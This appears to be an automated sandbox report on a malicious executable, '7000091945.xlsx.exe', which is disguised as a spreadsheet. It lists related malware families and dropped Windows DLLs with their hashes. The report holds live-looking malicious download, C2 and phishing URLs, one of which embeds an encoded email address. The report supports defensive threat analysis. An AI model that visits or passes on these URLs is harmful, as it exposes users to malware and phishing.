Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@8/55@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 89% Number of executed functions: 48 Number of non-executed functions: 64
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 7000091945.xlsx.exe, PID 8132 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 7000091945.xlsx.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.vrxlzluy.shop/o91n/
	Quote_General_Tech_LLC_637673,PDF.exe	Get hash	malicious	FormBook	Browse	www.hipsss.top/dtlm/
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse	e3z1.shop/HT341/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	documentreviewone.com/notes/document.exe
	zK3150CS8q.exe	Get hash	malicious	SmokeLoader	Browse	piratekings.online/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	piratekings.online/tmp/index.php
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/XimZ5Qu2/download
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.vrxlzluy.shop/o91n/
	rQUOTATION_NOVQTRA071244__PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/8Koz7PwT/download
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse	e3z1.shop/HT341/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BIRBIRTR	y1FOl1vVPA.exe	Get hash	malicious	Raccoon SmokeLoader	Browse	185.9.37.92
BIRBIRTR	EVC5DDtdso.exe	Get hash	malicious	Raccoon SmokeLoader	Browse	185.9.37.88
CLOUDFLARENETUS	1q4pQ8ms4w.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	dZJo0ZAVUx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	COTIZACION.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	3Ri17T8XLh.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	TEKJ09876545678002.cmd.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SECRFQ2024-0627 - ON HAND PROJECT - NEOM PROJECTS - SAUDI ELAF Co..exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	REVISED PO NO.8389.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://www.supercontable.es/emailing/track_superc.php?Destino=!:%7D%7D%7C.pepeworld.pro/c2VyZ2lvLmFsdmFyZXpAdG90YWxlbmVyZ2llcy5jb20=&IdTracking=03397&user=964998racking=10419&user=081904	Get hash	malicious	Phisher	Browse	104.17.25.14
	m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	1.13.123.50
	https://outlook.office.com@www.nescini.com/wp-content/uploads/2024/10/JTe86LlZl2-nfET-jEQ0WO-6.htm	Get hash	malicious	HTMLPhisher	Browse	172.67.198.39

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-datetime-l1-1-0.dll	Dekont#400577_89008_96634.exe	Get hash	malicious	Azorult, GuLoader	Browse
	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-console-l1-1-0.dll	Dekont#400577_89008_96634.exe	Get hash	malicious	Azorult, GuLoader	Browse
	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Dekont#400577_89008_96634.exe, Detection: malicious, Browse Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Dekont#400577_89008_96634.exe, Detection: malicious, Browse Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
